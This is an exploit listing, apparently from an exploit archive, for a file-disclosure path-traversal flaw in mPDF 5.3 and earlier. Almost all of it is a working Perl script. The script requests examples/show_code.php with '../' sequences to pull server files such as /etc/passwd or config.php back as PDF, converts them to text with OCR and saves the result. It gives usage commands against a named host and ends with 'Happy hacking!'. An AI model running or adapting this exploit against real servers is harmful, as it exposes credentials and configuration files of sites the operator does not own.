mPDF 5.3 File Disclosure

`# Exploit Title: mPDF <= 5.3 File Disclosure  
# Google Dork: Please no dork  
# Date: 16th December 2011  
# Author: ZadYree  
# Software Link: http://www.mpdf1.com/mpdf/download  
# Version: 5.3 and prior  
# Tested on: Multiple  
# CVE : N/A  
  
#!/usr/bin/perl -U  
=head1 TITLE  
  
mPDF <= 5.3 File Disclosure Exploit (0day)  
  
=head2 SYNOPSIS  
  
-- examples/show_code.php --  
  
preg_match('/example[0]{0,1}(\d+)_(.*?)\.php/',$filename,$m); <--- URI unproperly filtered.  
$num = intval($m[1]);  
$title = ucfirst(preg_replace('/_/',' ',$m[2]));  
  
if (!$num || !$title) { die("Invalid file"); }  
  
=head2 DESCRIPTION  
  
This vulnerability, due to a weak filter, lets you download any unprotected remote  
content, under PDF format.  
The exploit may not work, depending on the set up htaccess/chmod rules on the  
remote server.  
  
=head2 USAGE  
  
perl exploit.pl -r http://p00niez.com/mpdf53/ ../config.php  
perl exploit.pl -a http://p00niez.com/mpdf53/ /etc/passwd  
  
Requiered modules:  
PDF::OCR2  
LWP::Simple  
File::Type  
  
Download a module:  
sudo cpan -fi install Module::Name  
  
=head3 Author  
  
Zadyree ~ 3LRVS Team | Blog: z4d.tuxfamily.org/blog  
  
=head3 Thanks  
  
PHDays CTF - Yes, CTFs sometime do give you 0dayz  
3LRVS Team - Support  
  
=cut  
  
#************* Configuration **************#  
my $pdf_file = '/tmp/b00m.pdf';  
$PDF::OCR2::CHECK_PDF = 0;  
$del_temp_file = 1;  
#******************************************#  
  
  
use 5.010;  
use PDF::OCR2;  
use Getopt::Std;  
use LWP::Simple;  
use File::Type;  
use constant TRUE => 1;  
use constant FALSE => 0;  
  
help() unless (@ARGV >= 2);  
  
my (%optz, $uri);  
getopts('rah', \%optz);  
my $relative = $optz{'r'};  
my $absolute = $optz{'a'};  
my $help = $optz{'h'};  
help() unless ($absolute || $relatife);  
  
my ($purl, $fpath) = @ARGV;  
  
my $name = $purl;  
$name =~ s{http://(.+?)/.*} {$1};  
$name .= ("_" . localtime(time) . ".txt");  
  
  
$uri = '/examples/show_code.php?filename=example03_LRVS.php/../../../../../../../../' if ($absolute);  
$uri = '/examples/show_code.php?filename=example03_LRVS.php/../../' if ($relative);  
  
help() unless ($uri);  
  
my $furl = $purl . $uri . $fpath;  
$furl =~ s#(//)#$i++?"/":$1#eg; # Yeah that's twisted.  
  
say "[*]Retrieving content...";  
my $file = make_file(get($furl));  
die "[-]The stream you requested is not well formatted (forbidden page, etc).\012" unless is_pdf($file);  
  
say "[+]OK\012[*]Converting format...";  
$pdf = PDF::OCR2->new($file);  
  
my $text = $pdf->text;  
$text =~ s/[^\x0A-\x7F]+?//gm;  
  
open(my $fh, '>', $name);  
print $fh $text;  
close($fh);  
  
say "[+]OK\012[+]Content successfully extracted!\nFile: ", $name;  
  
unlink($pdf_file) if ($del_temp_file == TRUE);  
  
  
  
sub make_file {  
my $content = shift;  
open($fh, '>', $pdf_file);  
print $fh $content;  
close($fh);  
return($pdf_file);  
}  
  
sub is_pdf {  
my $checked_file = shift;  
my $ft = File::Type->new();  
return(1) if ($ft->mime_type($checked_file) eq "application/pdf");  
return(0);  
}  
  
help() if ($help);  
  
sub help {  
say <<"EOF";  
  
Usage: perl $0 [-r|-a] http://[mPDF URL] <file_to_read>  
  
Details:   
-r : Relative path (ex: ../file.php)  
-a : Absolute path (ex: /etc/file.zd)  
  
For any more information, feel free to contact ZadYree  
Happy hacking!  
EOF  
exit(0);  
}  
  
`